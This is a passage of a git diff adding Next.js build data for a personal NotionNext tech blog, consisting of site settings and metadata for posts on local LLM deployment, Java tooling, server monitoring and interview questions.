pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240408-LM-02.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240408-LM-02.json new file mode 100644 index 000000000..3d19ac013 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240408-LM-02.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":"","blockMap":{"block":{"9a78ba09-76ce-4344-bad5-f6d60dc0680e":{"value":{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","version":1004,"type":"page","content":["d3a0bda2-a966-4861-aa0f-7a641ec5b633","1fe2c7b1-d200-44eb-b559-5a1f9ad1b765","a59214f9-df56-4a93-9829-367651e0dcb0","80097f4c-9b86-48bd-9936-2ec481b2c9ab","9fc5fcd6-3fb3-4c4c-bce8-af9b81641905","91b7ef81-c289-41fe-a8c9-5046d3f41923","a4de193c-c56c-404f-a23b-c7aaee0940d2","ffa13876-3f06-4ee3-ab91-e5ce88d2b005","c10c635e-6308-4f80-b0bc-185f8a6c6096","6a7d5026-4140-41ce-9e62-7eeaf2f484a1","542ba936-d632-43cb-a93b-9658bddd7720","93ac5e04-d279-4854-949f-3ff531979b16","2777df4b-687f-4398-ab66-4aa9f854f5f0","c4832952-7105-470c-9f44-2e3780516402","e4b5d6a3-a30f-40a9-885a-b06e970843b0","623c0c4b-f1a0-4c19-8685-adc89f79cf27","8ef4c41b-eb08-448e-8bb2-37576638a1dd","072908f5-92ea-498f-ad75-e4f8f8d4d53b","d56ba84d-fee9-45d5-bd85-dbf9a580507d","ca3dd93e-3b1c-4add-9e74-98895ac7b590","14a0ed64-9e71-453e-a5e3-88ee50d80844","34a467a4-e5f7-4c12-94bd-3a8dc72427b6","0a0bc967-2b18-476a-8b4b-f3c351472312","13991992-61fe-4521-9176-e979630aec82","03149589-78ee-4443-8f38-ce653c7839e0","700878a6-c65e-410d-9f44-c75de19ae942","47609369-8125-4835-8505-dc170a251161","c6eca5f6-f31a-474a-8af5-e9f2c1b09b79","c3d411d7-0afd-4163-9501-a5186dacfa8e","0c1e5e83-3222-4954-931e-211075399baa","fabd9d7b-7363-4fee-a111-e1ca5e594376","a8b8fa3b-e053-4db3-a992-6a02789309c6","24baaf3b-f01a-47f7-91ff-1e4c313b7747","87d12307-20cf-4cd9-8322-9a8c1043995d","5dda5b60-fe5c-465b-9b7a-a751b148d419","debfe1b5-a58f-4200-a93b-cfd04564f8a8","c6158c40-db10-44b0-8c86-833a34f39b98","a4f29450-cc0e-4683-a9dd-1d0beddb1651","77258239-91bd-434b-a538-dc492bfb5f5f","0e137ff7-c4d7-4152-afc8-f79bf48d6c55","42236ad1-4887-402b-a30f-80fdfcbd9feb","2749b679-9cbf-4fff-9a24-98742cf87751","1018b604-6a35-4dd9-848e-f8e397053df7","3f27258a-689f-4efa-b1e3-5be0d2d027c5","14445b43-cad1-4e57-8026-294d44925746","34487776-5497-4545-a046-53007c910bf3","24110269-8bb4-4dda-b976-e4dc27f8d49a","d4a92abf-b6a5-489d-9d0a-956d6970a7e2","08e46138-d832-4303-9082-28b70f64d913","6a5e682c-e3c1-4681-bf82-f5c8c8565c91","688f0bf3-568f-45ee-81b9-403c14ea17ba","0d46b99a-3763-424e-8894-7a799fd6dfe2","f048549e-6ce9-40c0-84cb-9538806d956b","9abd68a0-fd30-4736-abc4-1349afa7f49e","1b5bb1c9-7d56-4061-9785-917f8158fee0","b9ddd0d9-1790-4163-92da-d7f12dea2f9e","aa46f8d3-26f3-432d-85d0-b8ae393dc9cc","91b70b